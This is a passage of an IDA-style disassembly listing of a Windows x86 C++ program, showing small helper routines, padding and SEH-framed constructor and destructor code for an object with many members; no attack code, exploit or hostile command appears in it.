pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_41608A: ; CODE XREF: sub_416030+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416030 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4160C0 proc near ; CODE XREF: sub_401C8Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015AF
sub_4160C0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4160D5
mov edi, esi
loc_4160D5: ; CODE XREF: ___:004160D1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_4160EA
mov edi, esi
loc_4160EA: ; CODE XREF: ___:004160E6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416110 proc near ; CODE XREF: sub_401E33j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416110 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416130 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416150 proc near ; CODE XREF: sub_402144j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416150 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416170 proc near ; CODE XREF: sub_401E97j
mov eax, ecx
retn
sub_416170 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416190 proc near ; CODE XREF: sub_401CDAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018C5
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4161C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161F0 proc near ; CODE XREF: sub_401EC4j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4161F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416220 proc near ; CODE XREF: sub_401D11j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017DF
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DB6
sub_416220 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017DF
push edi
mov [eax], ebx
call sub_4017DF
mov edi, [eax]
push edi
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017E4
add esp, 4
mov ecx, esi
push eax
call sub_401E15
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4162C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EBF
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BCC
push esi
mov ebx, eax
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017DF
push esi
mov ebx, eax
call sub_401BCC
mov eax, [eax]
push eax
call sub_4017DF
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017E4
add esp, 1Ch
mov ecx, edi
push eax
call sub_401401
push esi
mov ecx, edi
call sub_401F14
sub_4162C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_40140Bj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4163DA
loc_416398: ; CODE XREF: sub_416380+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EBF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416398
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4163DA: ; CODE XREF: sub_416380+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416380 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416410 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401EBA
sub_416410 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416425
mov edi, esi
loc_416425: ; CODE XREF: ___:00416421j
push esi
call sub_401BCC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41643A
mov edi, esi
loc_41643A: ; CODE XREF: ___:00416436j
push esi
call sub_4017DF
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416460 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401866
sub_416460 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416480 proc near ; CODE XREF: sub_401BCCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416480 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164A0 proc near ; CODE XREF: sub_4017E4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4164A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164C0 proc near ; CODE XREF: sub_401E42j
mov eax, ecx
retn
sub_4164C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_401D7Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401618
mov eax, esi
pop esi
retn 4
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416510 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416540 proc near ; CODE XREF: sub_401456j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416590 proc near ; CODE XREF: sub_4020F4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4165C0 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4165C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165E0 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4165E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416610 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416610 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416630 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416630 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416650 proc near ; CODE XREF: sub_401A5Fj
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_416650 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416670 proc near ; CODE XREF: sub_40210Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166A0 proc near ; CODE XREF: sub_401CBCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E74
neg al
sbb eax, eax
inc eax
retn 4
sub_4166A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401C62j
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416710 proc near ; CODE XREF: sub_4015AFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416710 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_4015F0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40205E
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_401D61j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_401F8Cj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_4017DFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416810 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416840 proc near ; CODE XREF: sub_401866j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416840 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416860 proc near ; CODE XREF: sub_401E15j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020EA
add esp, 8
retn 8
sub_416860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416890 proc near ; CODE XREF: sub_401401j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416890 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168B0 proc near ; CODE XREF: sub_401618j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4168B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4168D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168F0 proc near ; CODE XREF: sub_401E74j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4168F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416920 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41693B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41693B: ; CODE XREF: sub_416920+11j
retn
sub_416920 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416970 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41698B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41698B: ; CODE XREF: sub_416970+11j
retn
sub_416970 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4169C0 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4169DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4169DB: ; CODE XREF: sub_4169C0+11j
retn
sub_4169C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db '',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h
dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh)
dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416A90: ; CODE XREF: ___:00401C58j
push 0FFFFFFFFh
push offset loc_43B2E1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021FD
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401F00
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_401776
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_402013
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401E06
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_401889
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F46
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B3B
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017DA
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018D9
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401ECE
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402239
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017AD
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A32
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C5
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401EA1
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014FB
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401CA3
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401938
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_401447
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D00 proc near ; CODE XREF: sub_401A32j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43F050
test eax, eax
jle short loc_416D17
push eax
call near ptr 71AB9639h
nop
loc_416D17: ; CODE XREF: sub_416D00+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_416D00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A32
test [esp+4+arg_0], 1
jz short loc_416D48
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416D48: ; CODE XREF: sub_416D30+Dj
mov eax, esi
pop esi
retn 4
sub_416D30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D60 proc near ; CODE XREF: sub_4017ADj
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43F05C
test eax, eax
jle short loc_416D77
push eax
nop
call near ptr 71AB9639h
loc_416D77: ; CODE XREF: sub_416D60+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_416D60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D90: ; CODE XREF: ___:00401631j
; ___:loc_401CADj
push esi
mov esi, ecx
call sub_4017AD
test byte ptr [esp+8], 1
jz short loc_416DA8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416DA8: ; CODE XREF: ___:00416D9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416DC0 proc near ; CODE XREF: sub_401776j
mov dword ptr [ecx], offset off_43F068
jmp sub_40204F
sub_416DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416DE0: ; CODE XREF: ___:loc_401929j
; ___:004021ADj
push esi
mov esi, ecx
call sub_401776
test byte ptr [esp+8], 1
jz short loc_416DF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416DF8: ; CODE XREF: ___:00416DEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416E10 proc near ; CODE XREF: sub_401889j
mov dword ptr [ecx], offset off_43F074
add ecx, 4
jmp sub_401023
sub_416E10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416E30: ; CODE XREF: ___:00401E60j
push 0FFFFFFFFh
push offset loc_43B4C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_4020BD
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015E6
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_402018
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_401A00
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_401587
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_40164F
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401780
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_40169F
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_40182F
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016BD
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_40141F
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D25
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A91
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CB7
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402121
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_40157D
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_401799
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_40142E
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_40142E
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_40142E
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_40142E
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401B0E
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4170B0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4170B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B1D
sub_4170B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417120 proc near ; CODE XREF: sub_401938j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417120
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
